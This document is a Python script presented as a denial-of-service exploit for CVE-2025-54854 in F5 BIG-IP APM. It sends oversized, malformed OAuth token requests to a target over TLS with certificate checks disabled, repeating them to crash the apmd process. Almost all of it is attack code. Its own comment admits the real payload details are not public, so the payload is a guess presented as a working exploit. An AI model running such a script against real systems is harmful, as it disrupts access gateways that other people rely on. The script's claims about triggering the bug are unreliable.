CVE-2025-54854

# CVE-2025-54854 - F5 BIG-IP APM OAuth DoS PoC # This PoC demonstrates triggering the apmd process crash # via crafted OAuth-related traffic to a vulnerable BIG-IP APM virtual server. # Note: Specific payload details are not publicly disclosed by F5. import socket import ssl import struct import sys import time TARGET_HOST = "192.168.1.100" # Replace with target BIG-IP APM virtual server IP TARGET_PORT = 443 # HTTPS port for APM virtual server def craft_oauth_malicious_request(host, port): """ Craft a malicious OAuth-related HTTP request targeting the APM OAuth access profile (Resource Server or Resource Client configuration). The request is designed to trigger the apmd process termination vulnerability (CVE-2025-54854). """ # Construct an OAuth token endpoint request with malformed parameters # targeting the apmd OAuth processing logic payload = ( "POST /oauth/token HTTP/1.1\r\n" f"Host: {host}\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: 999999\r\n" "Authorization: Bearer AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n" "Connection: keep-alive\r\n" "\r\n" "grant_type=authorization_code&code=AAAA&redirect_uri=http://evil.com" "&client_id=test&client_secret=test" "&scope=" + "A" * 4096 # Oversized scope parameter may trigger the bug ) return payload.encode() def send_exploit(host, port, use_ssl=True): """ Send the crafted malicious request to the target BIG-IP APM server. """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) if use_ssl: context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE sock = context.wrap_socket(sock, server_hostname=host) sock.connect((host, port)) print(f"[*] Connected to {host}:{port}") payload = craft_oauth_malicious_request(host, port) sock.send(payload) print(f"[*] Malicious OAuth request sent ({len(payload)} bytes)") # Try to receive response try: response = sock.recv(4096) print(f"[*] Response received: {response[:200]}") except socket.timeout: print("[*] No response (connection dropped - apmd may have crashed)") sock.close() print("[+] Exploit sent successfully. Check if apmd process has terminated.") except Exception as e: print(f"[-] Error: {e}") sys.exit(1) if __name__ == "__main__": host = sys.argv[1] if len(sys.argv) > 1 else TARGET_HOST port = int(sys.argv[2]) if len(sys.argv) > 2 else TARGET_PORT print(f"[*] CVE-2025-54854 - F5 BIG-IP APM OAuth DoS Exploit") print(f"[*] Target: {host}:{port}") # Send multiple requests to ensure crash for i in range(3): print(f"\n[*] Attempt {i+1}/3") send_exploit(host, port) time.sleep(2)

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